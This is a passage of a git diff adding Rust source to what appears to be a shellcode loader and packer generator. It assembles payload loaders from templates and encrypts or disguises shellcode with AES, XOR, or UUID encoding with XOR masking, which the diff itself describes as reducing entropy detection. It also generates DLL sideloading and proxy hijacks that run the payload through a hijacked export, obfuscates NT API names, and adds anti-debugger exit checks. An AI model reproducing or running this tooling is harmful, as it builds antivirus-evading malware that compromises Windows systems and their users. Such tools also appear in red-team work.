assert_eq!(dll_stem(Path::new("C:\\Windows\\System32\\version.dll")), "version"); + assert_eq!(dll_stem(Path::new("/tmp/mylib.dll")), "mylib"); + assert_eq!(dll_stem(Path::new("test")), "test"); + } + + #[test] + fn test_parse_single_export() { + let pe = build_minimal_pe_dll(&["DllGetClassObject"]); + let path = write_temp_dll("single_export.dll", &pe); + let exports = parse_exports(&path).unwrap(); + + assert_eq!(exports.len(), 1); + assert_eq!(exports[0].name.as_deref(), Some("DllGetClassObject")); + assert_eq!(exports[0].ordinal, 1); + + fs::remove_file(&path).ok(); + } +} diff --git a/src/puzzle.rs b/src/puzzle.rs new file mode 100644 index 0000000..33fb878 --- /dev/null +++ b/src/puzzle.rs @@ -0,0 +1,196 @@ +use crate::order::{Order, OutputFormat}; +use crate::sideload; +use crate::techniques::{self, BuildContext, Category}; +use fs_extra::dir::{copy, CopyOptions}; +use std::collections::HashMap; +use std::fs::{self, OpenOptions}; +use std::io::prelude::*; +use std::path::{Path, PathBuf}; +use std::time::{SystemTime, UNIX_EPOCH}; + +use crate::tools::random_u8; + +const OUTPUT_DIR: &str = "shared"; + +fn obfuscate_api_name(name: &str, key: u8) -> String { + let bytes: Vec = name.bytes().map(|b| format!("0x{:02x}", b ^ key)).collect(); + format!("[{}]", bytes.join(", ")) +} + +fn non_zero_random_key() -> u8 { + loop { let k = random_u8(); if k != 0 { return k; } } +} + +fn search_and_replace(path: &Path, search: &str, replace: &str) -> Result<(), Box> { + let file_content = fs::read_to_string(path)?; + let new_content = file_content.replace(search, replace); + let mut file = OpenOptions::new().write(true).truncate(true).open(path)?; + file.write_all(new_content.as_bytes())?; + Ok(()) +} + +fn create_root_folder(parent: &Path) -> Result> { + let timestamp = SystemTime::now().duration_since(UNIX_EPOCH)?.as_secs(); + let folder_name = format!("output_{}", timestamp); + crate::blog!("[+] Creating output folder: {}", &folder_name); + let result_path = parent.join(folder_name); + fs::create_dir_all(&result_path)?; + Ok(result_path) +} + +fn copy_template(source: &Path, dest: &Path) -> Result<(), Box> { + let options = CopyOptions { content_only: true, ..Default::default() }; + copy(source, dest, &options)?; + Ok(()) +} + +fn default_replacements(order: &Order) -> HashMap<&'static str, String> { + let mut r: HashMap<&'static str, String> = HashMap::new(); + r.insert("{{TARGET_PROCESS}}", "dllhost.exe".to_string()); // overwritten by injection.apply() + r.insert("{{SANDBOX}}", String::new()); + r.insert("{{SANDBOX_IMPORTS}}", String::new()); + r.insert("{{DLL_MAIN}}", String::new()); + r.insert("{{DLL_FORMAT}}", String::new()); + r.insert("{{INJECTION_HELPERS}}", String::new()); + r.insert("{{CALLBACK_INVOKE}}", String::new()); + + // nt_delay evasion placeholders — empty unless the evasion is enabled. + r.insert("{{NT_DELAY_AT_START}}", String::new()); + r.insert("{{NT_DELAY_STEP}}", String::new()); + r.insert("{{NT_DELAY_FINAL}}", String::new()); + + let api_key = non_zero_random_key(); + r.insert("{{API_KEY}}", format!("0x{:02x}", api_key)); + r.insert("{{OBF_NT_OPEN_PROCESS}}", obfuscate_api_name("NtOpenProcess", api_key)); + r.insert("{{OBF_NT_ALLOCATE_VIRTUAL_MEMORY}}", obfuscate_api_name("NtAllocateVirtualMemory", api_key)); + r.insert("{{OBF_NT_WRITE_VIRTUAL_MEMORY}}", obfuscate_api_name("NtWriteVirtualMemory", api_key)); + r.insert("{{OBF_NT_PROTECT_VIRTUAL_MEMORY}}", obfuscate_api_name("NtProtectVirtualMemory", api_key)); + r.insert("{{OBF_NT_CREATE_THREAD_EX}}", obfuscate_api_name("NtCreateThreadEx", api_key)); + r.insert("{{OBF_NT_QUEUE_APC_THREAD}}", obfuscate_api_name("NtQueueApcThread", api_key)); + r.insert("{{OBF_NT_TEST_ALERT}}", obfuscate_api_name("NtTestAlert", api_key)); + r.insert("{{OBF_NT_DELAY_EXECUTION}}", obfuscate_api_name("NtDelayExecution", api_key)); + + let _ = order; // reserved for future per-order defaults + r +} + +fn apply_dll_format(replacements: &mut HashMap<&'static str, String>, main_rs_path: &Path) -> PathBuf { + let dll_cargo_conf = "[lib]\ncrate-type = [\"cdylib\"]"; + replacements.insert("{{DLL_FORMAT}}", dll_cargo_conf.to_string()); + + let dll_main_fn = r#" +const DLL_PROCESS_ATTACH: u32 = 1; +const DLL_PROCESS_DETACH: u32 = 0; + +#[no_mangle] +#[allow(non_snake_case, unused_variables, unreachable_patterns)] +extern "system" fn DllMain(dll_module: usize, call_reason: u32, _: *mut ()) -> bool { + match call_reason { + DLL_PROCESS_ATTACH => (), + DLL_PROCESS_DETACH => (), + _ => () + } + true +} +#[no_mangle] pub extern "C" fn DllRegisterServer() { main() } +#[no_mangle] pub extern "C" fn DllGetClassObject() { main() } +#[no_mangle] pub extern "C" fn DllUnregisterServer() { main() } +#[no_mangle] pub extern "C" fn Run() { main() } +"#; + replacements.insert("{{DLL_MAIN}}", dll_main_fn.to_string()); + + let lib_rs_path = main_rs_path.with_file_name("lib.rs"); + if let Err(e) = fs::rename(main_rs_path, &lib_rs_path) { + panic!("Error while renaming main.rs to lib.rs: {}", e); + } + lib_rs_path +} + +/// DllSideload format: the chosen self-injection technique's `main()` becomes the body +/// of the hijacked export. DllMain is a passthrough. Proxy mode forwards non-hijacked +/// exports to the original DLL via a `.def` file. +fn apply_sideload_format( + replacements: &mut HashMap<&'static str, String>, + main_rs_path: &Path, + folder: &Path, + config: &crate::order::SideloadConfig, +) -> PathBuf { + if let Err(e) = sideload::apply(config, folder, replacements) { + panic!("Sideload generation failed: {e}"); + } + + let lib_rs_path = main_rs_path.with_file_name("lib.rs"); + if let Err(e) = fs::rename(main_rs_path, &lib_rs_path) { + panic!("Error while renaming main.rs to lib.rs: {}", e); + } + lib_rs_path +} + +fn apply_replacements(replacements: &HashMap<&'static str, String>, main_path: &Path, cargo_path: &Path) { + for (key, value) in replacements { + search_and_replace(main_path, key, value) + .unwrap_or_else(|e| crate::blog!("[!] Warning: template replace failed for {}: {}", key, e)); + search_and_replace(cargo_path, key, value) + .unwrap_or_else(|e| crate::blog!("[!] Warning: cargo replace failed for {}: {}", key, e)); + } +} + +pub fn assemble(order: Order) -> PathBuf { + crate::blog!("[+] Assembling Rust code.."); + + let folder = create_root_folder(Path::new(OUTPUT_DIR)).expect("Failed to create output folder"); + let src_dir = folder.join("src"); + + let mut ctx = BuildContext { + shellcode_path: &order.shellcode_path, + output_folder: folder.clone(), + src_dir: src_dir.clone(), + replacements: default_replacements(&order), + template_choice: None, + params: &order.params, + }; + + // 1. Injection technique picks the template + sets target_process. + let inj = techniques::find(&order.injection_id) + .unwrap_or_else(|| panic!("unknown injection: {}", order.injection_id)); + inj.apply(&mut ctx).expect("injection apply failed"); + + let template_name = ctx.template_choice.expect("injection did not set template"); + let template_path = PathBuf::from("templates").join(template_name).join("."); + copy_template(&template_path, &folder).expect("Failed to copy template"); + + // 2. Encryption technique writes the encrypted file + decryption replacements. + let enc = techniques::find(&order.encryption_id) + .unwrap_or_else(|| panic!("unknown encryption: {}", order.encryption_id)); + enc.apply(&mut ctx).expect("encryption apply failed"); + + // 3. Each enabled evasion technique adds its replacements. + for ev_id in &order.evasions { + let ev = techniques::find(ev_id) + .unwrap_or_else(|| panic!("unknown evasion: {}", ev_id)); + ev.apply(&mut ctx).expect("evasion apply failed"); + } + + let main_rs = src_dir.join("main.rs"); + let cargo_toml = folder.join("Cargo.toml"); + + let target_file = match order.format { + OutputFormat::Exe => main_rs, + OutputFormat::Dll => apply_dll_format(&mut ctx.replacements, &main_rs), + OutputFormat::DllSideload => { + let config = order + .sideload + .as_ref() + .expect("DllSideload format requires a SideloadConfig in the Order"); + apply_sideload_format(&mut ctx.replacements, &main_rs, &folder, config) + } + }; + + apply_replacements(&ctx.replacements, &target_file, &cargo_toml); + + // Sanity check + let _ = Category::Encryption; // imported above, ensures `techniques` is in scope + + crate::blog!("[+] Done assembling Rust code!"); + folder +} diff --git a/src/shellcode_reader.rs b/src/shellcode_reader.rs new file mode 100644 index 0000000..629df2e --- /dev/null +++ b/src/shellcode_reader.rs @@ -0,0 +1,45 @@ +use std::path::Path; + +pub fn read_shellcode(file_path: &Path) -> Vec { + crate::blog!("[+] Reading binary file.."); + match std::fs::read(file_path) { + Ok(bytes) => { + crate::blog!("[+] Done reading binary file!"); + bytes + } + Err(err) => panic!("Failed to read shellcode file {:?}: {}", file_path, err), + } +} + +#[cfg(test)] +mod tests { + use super::*; + use std::fs; + + #[test] + fn test_read_shellcode_content() { + let dir = std::env::temp_dir().join("rustpacker_test_reader"); + fs::create_dir_all(&dir).unwrap(); + let path = dir.join("test.bin"); + let content: Vec = vec![0xDE, 0xAD, 0xBE, 0xEF]; + fs::write(&path, &content).unwrap(); + + let result = read_shellcode(&path); + assert_eq!(result, content); + + fs::remove_dir_all(&dir).unwrap(); + } + + #[test] + fn test_read_shellcode_empty() { + let dir = std::env::temp_dir().join("rustpacker_test_reader_empty"); + fs::create_dir_all(&dir).unwrap(); + let path = dir.join("empty.bin"); + fs::write(&path, &[]).unwrap(); + + let result = read_shellcode(&path); + assert!(result.is_empty()); + + fs::remove_dir_all(&dir).unwrap(); + } +} diff --git a/src/sideload.rs b/src/sideload.rs new file mode 100644 index 0000000..118ed7b --- /dev/null +++ b/src/sideload.rs @@ -0,0 +1,309 @@ +//! DLL sideloading / proxying generator. +//! +//! * **Sideload mode** — DLL with stub exports + a hijacked export that +//! runs the embedded loader (`main()`). DllMain is a passthrough. +//! No original DLL needed; this is a pure replacement attack. +//! +//! * **Proxy mode** — Same hijack-export trigger, but non-hijacked exports +//! are forwarded to the original (renamed) DLL via a `.def` file. A +//! `dispatch_call` gateway in lib.rs ensures the payload runs once +//! (sync_lock-guarded) while genuine traffic continues. Pulls in +//! `dyncvoke` (git), `lazy_static`, and `obfstr`. +//! +//! The `apply()` entry point writes generated artifacts into `folder` and +//! mutates the `replacements` map. Designed to be called from `puzzle::assemble` +//! after the chosen injection template + encryption + evasions have done. + +use crate::order::{SideloadConfig, SideloadMode}; +use crate::pe_parser::{self, DllExport}; +use anyhow::Context; +use std::collections::HashMap; +use std::fs; +use std::path::Path; + +const CRATE_TYPE_CDYLIB: &str = "[lib]\ncrate-type = [\"cdylib\"]"; + +const PROXY_BUILD_RS: &str = r##"use std::{env, path::PathBuf}; + +fn main() { + if env::var("CARGO_CFG_TARGET_OS").unwrap_or_default() == "windows" { + let manifest_dir = env::var("CARGO_MANIFEST_DIR").unwrap(); + let def_path = PathBuf::from(manifest_dir).join("proxy.def"); + println!("cargo:rustc-link-arg=/DEF:{}", def_path.display()); + println!("cargo:rerun-if-changed=proxy.def"); + } +} +"##; + +pub fn apply( + config: &SideloadConfig, + folder: &Path, + replacements: &mut HashMap<&'static str, String>, +) -> anyhow::Result<()> { + let exports = pe_parser::parse_exports(&config.target_dll) + .map_err(|e| anyhow::anyhow!("Failed to parse target DLL exports: {e}"))?; + let target_stem = pe_parser::dll_stem(&config.target_dll); + + let src_dir = folder.join("src"); + fs::create_dir_all(&src_dir).context("create src dir")?; + + // 1. Force cdylib crate type. + replacements.insert("{{DLL_FORMAT}}", CRATE_TYPE_CDYLIB.to_string()); + + // 2. Generate forward.rs (stub functions for all non-hijacked exports). + let forward_rs = generate_forward_rs(&exports, &config.hijack_export); + fs::write(src_dir.join("forward.rs"), forward_rs).context("write forward.rs")?; + + // 3. Build the lib.rs tail (DllMain + hijack export + optional dispatch_call + mod forward). + let dll_block = match config.mode { + SideloadMode::Sideload => sideload_block(&config.hijack_export), + SideloadMode::Proxy => { + let original_dll_path = original_path(config, &target_stem); + proxy_block(&config.hijack_export, &original_dll_path, exports.len()) + } + }; + replacements.insert("{{DLL_MAIN}}", dll_block); + + // 4. Proxy-mode extras: build.rs + proxy.def + dyncvoke/lazy_static deps + import. + if matches!(config.mode, SideloadMode::Proxy) { + fs::write(folder.join("build.rs"), PROXY_BUILD_RS).context("write build.rs")?; + + let forward_target = forward_target(config, &target_stem); + let def_body = generate_def(&exports, &config.hijack_export, &target_stem, &forward_target); + fs::write(folder.join("proxy.def"), def_body).context("write proxy.def")?; + + // Merge extra deps into the {{DEPENDENCIES}} placeholder (encryption may have already + // populated it). + let existing_deps = replacements + .get("{{DEPENDENCIES}}") + .cloned() + .unwrap_or_default(); + let extra = r#"lazy_static = "1.4" +dyncvoke = { git = "https://github.com/Whitecat18/Dyncvoke" }"#; + let merged_deps = if existing_deps.is_empty() { + extra.to_string() + } else { + format!("{existing_deps}\n{extra}") + }; + replacements.insert("{{DEPENDENCIES}}", merged_deps); + + // Append lazy_static import to {{IMPORTS}}. + let existing_imports = replacements + .get("{{IMPORTS}}") + .cloned() + .unwrap_or_default(); + let new_imports = if existing_imports.is_empty() { + "use lazy_static::lazy_static;".to_string() + } else { + format!("{existing_imports}\nuse lazy_static::lazy_static;") + }; + replacements.insert("{{IMPORTS}}", new_imports); + } + + Ok(()) +} + +fn original_path(config: &SideloadConfig, target_stem: &str) -> String { + if config.use_absolute_path { + // Use the full target DLL path; escape backslashes for Rust string literal. + config.target_dll.display().to_string().replace('\\', "\\\\") + } else if !config.renamed.trim().is_empty() { + config.renamed.trim().to_string() + } else { + // Sensible default: "_orig.dll" + format!("{target_stem}_orig.dll") + } +} + +fn forward_target(config: &SideloadConfig, target_stem: &str) -> String { + if config.use_absolute_path { + // .def forwarder uses the path without extension. + let p = config.target_dll.with_extension(""); + p.display().to_string() + } else if !config.renamed.trim().is_empty() { + // Strip .dll suffix for .def forwarder. + Path::new(config.renamed.trim()) + .file_stem() + .map(|s| s.to_string_lossy().into_owned()) + .unwrap_or_else(|| format!("{target_stem}_orig")) + } else { + format!("{target_stem}_orig") + } +} + +fn generate_forward_rs(exports: &[DllExport], hijack: &str) -> String { + let mut out = String::new(); + out.push_str("// Auto-generated stub functions. The .def file (proxy mode) overrides these\n"); + out.push_str("// with forwarders; in sideload mode they remain as no-ops so the DLL\n"); + out.push_str("// still satisfies the host's GetProcAddress lookups.\n\n"); + for export in exports { + if let Some(name) = &export.name { + if name != hijack { + out.push_str(&format!( + "#[no_mangle]\npub unsafe extern \"system\" fn {name}() {{}}\n" + )); + } + } + } + out +} + +fn sideload_block(hijack_export: &str) -> String { + format!( + r##" +const DLL_PROCESS_ATTACH: u32 = 1; +const DLL_PROCESS_DETACH: u32 = 0; + +#[no_mangle] +#[allow(non_snake_case, unused_variables, unreachable_patterns)] +extern "system" fn DllMain(_dll: usize, reason: u32, _r: *mut ()) -> bool {{ + match reason {{ + DLL_PROCESS_ATTACH => (), + DLL_PROCESS_DETACH => (), + _ => () + }} + true +}} + +#[no_mangle] +#[allow(non_snake_case, unused_variables)] +pub unsafe extern "system" fn {hijack_export}( + _a1: u64, _a2: u64, _a3: u64, _a4: u64, _a5: u64, _a6: u64, _a7: u64, _a8: u64, + _a9: u64, _a10: u64, _a11: u64, _a12: u64, _a13: u64, _a14: u64, _a15: u64, _a16: u64, + _a17: u64, _a18: u64, _a19: u64, _a20: u64, +) -> u64 {{ + main(); + 1 +}} + +mod forward; +"## + ) +} + +fn proxy_block(hijack_export: &str, original_dll_path: &str, num_exports: usize) -> String { + // The dispatch_call gateway runs main() once (sync_lock-guarded) then forwards + // calls to the original DLL via dyncvoke. Hijacked export = export_id 0. + format!( + r##" +const DLL_PROCESS_ATTACH: u32 = 1; +const DLL_PROCESS_DETACH: u32 = 0; + +#[no_mangle] +#[allow(non_snake_case, unused_variables, unreachable_patterns)] +extern "system" fn DllMain(_dll: usize, reason: u32, _r: *mut ()) -> bool {{ + match reason {{ + DLL_PROCESS_ATTACH => (), + DLL_PROCESS_DETACH => (), + _ => () + }} + true +}} + +lazy_static! {{ + static ref DLL_NAME: String = "{original_dll_path}".to_string(); +}} + +static mut RP_CALLBACK_TABLE: [usize; {num_exports}] = [0usize; {num_exports}]; +static RP_SYNC_LOCK: std::sync::Mutex = std::sync::Mutex::new(0); + +fn rp_dispatch_call( + a1: u64, a2: u64, a3: u64, a4: u64, a5: u64, a6: u64, a7: u64, a8: u64, + a9: u64, a10: u64, a11: u64, a12: u64, a13: u64, a14: u64, a15: u64, a16: u64, + a17: u64, a18: u64, a19: u64, a20: u64, + export_id: u32, +) -> u64 {{ + {{ + let mut guard = RP_SYNC_LOCK.lock().unwrap(); + if *guard == 0 {{ + *guard = 1; + drop(guard); + std::thread::spawn(|| {{ main(); }}); + }} + }} + + unsafe {{ + if RP_CALLBACK_TABLE[export_id as usize] != 0 {{ + let target: extern "system" fn( + u64, u64, u64, u64, u64, u64, u64, u64, u64, u64, + u64, u64, u64, u64, u64, u64, u64, u64, u64, u64, + ) -> u64 = std::mem::transmute(RP_CALLBACK_TABLE[export_id as usize]); + return target( + a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, + a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, + ); + }} + }} + + let proc_name = match export_id {{ + 0 => "{hijack_export}".to_string(), + _ => String::new(), + }}; + if proc_name.is_empty() {{ + return 0; + }} + + let dll_name = DLL_NAME.as_str(); + let module_handle = dyncvoke::dyncvoke_core::load_library_a(dll_name); + if module_handle == 0 {{ + return 0; + }} + + let proc_addr = dyncvoke::dyncvoke_core::get_function_address(module_handle, &proc_name); + if proc_addr == 0 {{ + return 0; + }} + + unsafe {{ + RP_CALLBACK_TABLE[export_id as usize] = proc_addr; + let target: extern "system" fn( + u64, u64, u64, u64, u64, u64, u64, u64, u64, u64, + u64, u64, u64, u64, u64, u64, u64, u64, u64, u64, + ) -> u64 = std::mem::transmute(proc_addr); + return target( + a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, + a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, + ); + }} +}} + +#[no_mangle] +#[allow(non_snake_case, unused_variables)] +pub unsafe extern "system" fn {hijack_export}( + a1: u64, a2: u64, a3: u64, a4: u64, a5: u64, a6: u64, a7: u64, a8: u64, + a9: u64, a10: u64, a11: u64, a12: u64, a13: u64, a14: u64, a15: u64, a16: u64, + a17: u64, a18: u64, a19: u64, a20: u64, +) -> u64 {{ + rp_dispatch_call( + a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, + a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, + 0, + ) +}} + +mod forward; +"## + ) +} + +fn generate_def( + exports: &[DllExport], + hijack: &str, + target_stem: &str, + forward_target: &str, +) -> String { + let mut def = format!("LIBRARY {target_stem}\nEXPORTS\n"); + for export in exports { + let Some(name) = &export.name else { continue }; + if name == hijack { + // Hijacked export: no forwarder, lib.rs's hijack fn handles it. + def.push_str(&format!(" {name} @{}\n", export.ordinal)); + } else { + def.push_str(&format!( + " {name}={forward_target}.{name} @{}\n", + export.ordinal + )); + } + } + def +} diff --git a/src/techniques/build_context.rs b/src/techniques/build_context.rs new file mode 100644 index 0000000..01809b9 --- /dev/null +++ b/src/techniques/build_context.rs @@ -0,0 +1,47 @@ +//! Mutable state passed into `Technique::apply` during build assembly. + +use std::collections::HashMap; +use std::path::{Path, PathBuf}; + +/// Holds the in-progress build state. Techniques mutate this to: +/// - choose which template directory to copy (`set_template`) +/// - register placeholder substitutions (`set_replacement`) +/// - write files into the output's `src/` directory (`write_src_file`) +pub struct BuildContext<'a> { + pub shellcode_path: &'a Path, + pub output_folder: PathBuf, + pub src_dir: PathBuf, + pub replacements: HashMap<&'static str, String>, + pub template_choice: Option<&'static str>, // template folder name under `templates/` + pub params: &'a HashMap, // scoped: "." +} + +impl<'a> BuildContext<'a> { + pub fn set_template(&mut self, template_folder: &'static str) { + self.template_choice = Some(template_folder); + } + + pub fn set_replacement(&mut self, key: &'static str, value: String) { + self.replacements.insert(key, value); + } + + /// Concatenate `value` onto the existing replacement for `key` (or insert). + /// Used for multi-contributor placeholders like {{SANDBOX}} where each + /// evasion technique appends its own check. + pub fn append_replacement(&mut self, key: &'static str, value: String) { + self.replacements + .entry(key) + .and_modify(|v| { + if !v.is_empty() && !v.ends_with('\n') { + v.push('\n'); + } + v.push_str(&value); + }) + .or_insert(value); + } + + pub fn param(&self, technique_id: &str, param_name: &str) -> Option<&str> { + let key = format!("{}.{}", technique_id, param_name); + self.params.get(&key).map(String::as_str) + } +} diff --git a/src/techniques/encryption/aes/mod.rs b/src/techniques/encryption/aes/mod.rs new file mode 100644 index 0000000..6791446 --- /dev/null +++ b/src/techniques/encryption/aes/mod.rs @@ -0,0 +1,35 @@ +use crate::techniques::{BuildContext, Technique, TechniqueMeta}; +use crate::tools::{random_aes_iv, random_aes_key}; +use libaes::Cipher; +use std::fs; + +pub struct Aes; + +impl Technique for Aes { + fn meta(&self) -> &'static TechniqueMeta { &AES_META } + + fn apply(&self, ctx: &mut BuildContext) -> anyhow::Result<()> { + let key = random_aes_key(); + let iv = random_aes_iv(); + let shellcode = fs::read(ctx.shellcode_path) + .map_err(|e| anyhow::anyhow!("read shellcode: {e}"))?; + let cipher = Cipher::new_256(&key); + let encrypted = cipher.cbc_encrypt(&iv, &shellcode); + + let out_path = ctx.src_dir.join("input.aes"); + fs::write(&out_path, &encrypted) + .map_err(|e| anyhow::anyhow!("write input.aes: {e}"))?; + + ctx.set_replacement("{{PATH_TO_SHELLCODE}}", "\"input.aes\"".to_string()); + ctx.set_replacement("{{DECRYPTION_FUNCTION}}", + "fn aes_256_decrypt(buf: &[u8], key: &[u8; 32], iv: &[u8; 16]) -> Vec { let cipher = Cipher::new_256(key); cipher.cbc_decrypt(iv, buf) }".to_string()); + ctx.set_replacement("{{MAIN}}", format!( + "let key: [u8;32] = {:?};\n let iv: [u8;16] = {:?};\n vec = aes_256_decrypt(&vec, &key, &iv);", key, iv + )); + ctx.set_replacement("{{DEPENDENCIES}}", r#"libaes = "0.7""#.to_string()); + ctx.set_replacement("{{IMPORTS}}", "use libaes::Cipher;".to_string()); + Ok(()) + } +} + +pub use super::super::AES_META; diff --git a/src/techniques/encryption/aes/technique.toml b/src/techniques/encryption/aes/technique.toml new file mode 100644 index 0000000..a12b177 --- /dev/null +++ b/src/techniques/encryption/aes/technique.toml @@ -0,0 +1,7 @@ +id = "aes" +display_name = "AES-256-CBC — random key per build" +description = "Encrypt shellcode with AES-256 in CBC mode using a random key + IV. Key and IV are embedded in the loader." +category = "encryption" +tags = [] +requires = [] +incompatible_with = [] diff --git a/src/techniques/encryption/uuid/mod.rs b/src/techniques/encryption/uuid/mod.rs new file mode 100644 index 0000000..e937087 --- /dev/null +++ b/src/techniques/encryption/uuid/mod.rs @@ -0,0 +1,74 @@ +use crate::techniques::{BuildContext, Technique, TechniqueMeta}; +use crate::tools::random_u8; +use std::fs; + +pub struct Uuid; + +impl Technique for Uuid { + fn meta(&self) -> &'static TechniqueMeta { &UUID_META } + + fn apply(&self, ctx: &mut BuildContext) -> anyhow::Result<()> { + let shellcode = fs::read(ctx.shellcode_path) + .map_err(|e| anyhow::anyhow!("read shellcode: {e}"))?; + let original_len = shellcode.len(); + let encoded = uuid_encode(&shellcode); + + let xor_key = non_zero_random_key(); + let masked: Vec = encoded.bytes().map(|b| b ^ xor_key).collect(); + + let out_path = ctx.src_dir.join("input.uuid"); + fs::write(&out_path, &masked) + .map_err(|e| anyhow::anyhow!("write input.uuid: {e}"))?; + + let decryption_function = "fn unmask(buf: &mut Vec, key: u8) { for b in buf.iter_mut() { *b ^= key; } } +fn hex_to_byte(h: u8, l: u8) -> u8 { + fn val(c: u8) -> u8 { match c { b'0'..=b'9' => c - b'0', b'a'..=b'f' => c - b'a' + 10, b'A'..=b'F' => c - b'A' + 10, _ => 0 } } + (val(h) << 4) | val(l) +} +fn uuid_decode(buf: &[u8]) -> Vec { + let mut result = Vec::new(); + let mut i = 0; + while i < buf.len() { + if buf[i] == b'-' || buf[i] == b'\\n' || buf[i] == b'\\r' { i += 1; continue; } + if i + 1 < buf.len() { result.push(hex_to_byte(buf[i], buf[i+1])); i += 2; } else { break; } + } + result +}".to_string(); + + ctx.set_replacement("{{PATH_TO_SHELLCODE}}", "\"input.uuid\"".to_string()); + ctx.set_replacement("{{DECRYPTION_FUNCTION}}", decryption_function); + ctx.set_replacement("{{MAIN}}", format!( + "unmask(&mut vec, 0x{:02x});\n vec = uuid_decode(&vec);\n vec.truncate({});", + xor_key, original_len + )); + ctx.set_replacement("{{DEPENDENCIES}}", String::new()); + ctx.set_replacement("{{IMPORTS}}", String::new()); + Ok(()) + } +} + +fn non_zero_random_key() -> u8 { + loop { let k = random_u8(); if k != 0 { return k; } } +} + +fn bytes_to_uuid(chunk: &[u8; 16]) -> String { + format!( + "{:02x}{:02x}{:02x}{:02x}-{:02x}{:02x}-{:02x}{:02x}-{:02x}{:02x}-{:02x}{:02x}{:02x}{:02x}{:02x}{:02x}", + chunk[0], chunk[1], chunk[2], chunk[3], + chunk[4], chunk[5], chunk[6], chunk[7], + chunk[8], chunk[9], chunk[10], chunk[11], + chunk[12], chunk[13], chunk[14], chunk[15] + ) +} + +fn uuid_encode(shellcode: &[u8]) -> String { + let mut padded = shellcode.to_vec(); + let remainder = padded.len() % 16; + if remainder != 0 { padded.resize(padded.len() + (16 - remainder), 0); } + padded.chunks_exact(16) + .map(|chunk| { let arr: [u8; 16] = chunk.try_into().unwrap(); bytes_to_uuid(&arr) }) + .collect::>() + .join("\n") +} + +pub use super::super::UUID_META; diff --git a/src/techniques/encryption/uuid/technique.toml b/src/techniques/encryption/uuid/technique.toml new file mode 100644 index 0000000..2f54470 --- /dev/null +++ b/src/techniques/encryption/uuid/technique.toml @@ -0,0 +1,7 @@ +id = "uuid" +display_name = "UUID encoding — payload hidden as UUID strings" +description = "Encode shellcode as a list of UUID strings, then XOR-mask the result. Reduces entropy detection." +category = "encryption" +tags = [] +requires = [] +incompatible_with = [] diff --git a/src/techniques/encryption/xor/mod.rs b/src/techniques/encryption/xor/mod.rs new file mode 100644 index 0000000..755ab07 --- /dev/null +++ b/src/techniques/encryption/xor/mod.rs @@ -0,0 +1,39 @@ +use crate::techniques::{BuildContext, Technique, TechniqueMeta}; +use crate::tools::random_u8; +use std::fs; + +pub struct Xor; + +impl Technique for Xor { + fn meta(&self) -> &'static TechniqueMeta { &XOR_META } + + fn apply(&self, ctx: &mut BuildContext) -> anyhow::Result<()> { + let key = non_zero_random_key(); + let shellcode = fs::read(ctx.shellcode_path) + .map_err(|e| anyhow::anyhow!("read shellcode: {e}"))?; + let encrypted: Vec = shellcode.iter().map(|b| b ^ key).collect(); + + let out_path = ctx.src_dir.join("input.xor"); + fs::write(&out_path, &encrypted) + .map_err(|e| anyhow::anyhow!("write input.xor: {e}"))?; + + ctx.set_replacement("{{PATH_TO_SHELLCODE}}", "\"input.xor\"".to_string()); + ctx.set_replacement("{{DECRYPTION_FUNCTION}}", + "fn xor_decode(buf: &[u8], key: u8) -> Vec { buf.iter().map(|x| x ^ key).collect() }".to_string()); + ctx.set_replacement("{{MAIN}}", format!("vec = xor_decode(&vec, {});", key)); + ctx.set_replacement("{{DEPENDENCIES}}", String::new()); + ctx.set_replacement("{{IMPORTS}}", String::new()); + Ok(()) + } +} + +fn non_zero_random_key() -> u8 { + loop { + let k = random_u8(); + if k != 0 { return k; } + } +} + +// XOR_META declared in the generated registry.rs (build.rs reads technique.toml). +// We re-export it here so users can `use crate::techniques::encryption::xor::XOR_META;`. +pub use super::super::XOR_META; diff --git a/src/techniques/encryption/xor/technique.toml b/src/techniques/encryption/xor/technique.toml new file mode 100644 index 0000000..5cfdf9a --- /dev/null +++ b/src/techniques/encryption/xor/technique.toml @@ -0,0 +1,7 @@ +id = "xor" +display_name = "XOR — single-byte key (fast, trivial entropy)" +description = "XOR each shellcode byte with a random non-zero byte. Lightweight, easy to detect in entropy analysis." +category = "encryption" +tags = [] +requires = [] +incompatible_with = [] diff --git a/src/techniques/evasion/anti_debug_check_remote/mod.rs b/src/techniques/evasion/anti_debug_check_remote/mod.rs new file mode 100644 index 0000000..2d9fa5b --- /dev/null +++ b/src/techniques/evasion/anti_debug_check_remote/mod.rs @@ -0,0 +1,27 @@ +use crate::techniques::{BuildContext, Technique, TechniqueMeta}; + +pub struct AntiDebugCheckRemote; + +impl Technique for AntiDebugCheckRemote { + fn meta(&self) -> &'static TechniqueMeta { &ANTI_DEBUG_CHECK_REMOTE_META } + + fn apply(&self, ctx: &mut BuildContext) -> anyhow::Result<()> { + let snippet = r#"fn evasion_anti_debug_check_remote() { + unsafe { + let mut present: i32 = 0; + let _ = winapi::um::debugapi::CheckRemoteDebuggerPresent( + winapi::um::processthreadsapi::GetCurrentProcess(), + &mut present, + ); + if present != 0 { + winapi::um::processthreadsapi::ExitProcess(0); + } + } +} +evasion_anti_debug_check_remote();"#; + ctx.append_replacement("{{SANDBOX}}", snippet.to_string()); + Ok(()) + } +} + +pub use super::super::ANTI_DEBUG_CHECK_REMOTE_META; diff --git a/src/techniques/evasion/anti_debug_check_remote/technique.toml b/src/techniques/evasion/anti_debug_check_remote/technique.toml new file mode 100644 index 0000000..24a01df --- /dev/null +++ b/src/techniques/evasion/anti_debug_check_remote/technique.toml @@ -0,0 +1,7 @@ +id = "anti_debug_check_remote" +display_name = "CheckRemoteDebuggerPresent" +description = "Exit if a kernel debugger is attached. Detected via the documented Win32 API." +category = "evasion" +tags = ["anti_debug"] +requires = [] +incompatible_with = [] diff --git a/src/techniques/evasion/anti_debug_process_debug_port/mod.rs b/src/techniques/evasion/anti_debug_process_debug_port/mod.rs new file mode 100644 index 0000000..bd52509 --- /dev/null +++ b/src/techniques/evasion/anti_debug_process_debug_port/mod.rs @@ -0,0 +1,44 @@ +use crate::techniques::{BuildContext, Technique, TechniqueMeta}; + +pub struct AntiDebugProcessDebugPort; + +impl Technique for AntiDebugProcessDebugPort { + fn meta(&self) -> &'static TechniqueMeta { &ANTI_DEBUG_PROCESS_DEBUG_PORT_META } + + fn apply(&self, ctx: &mut 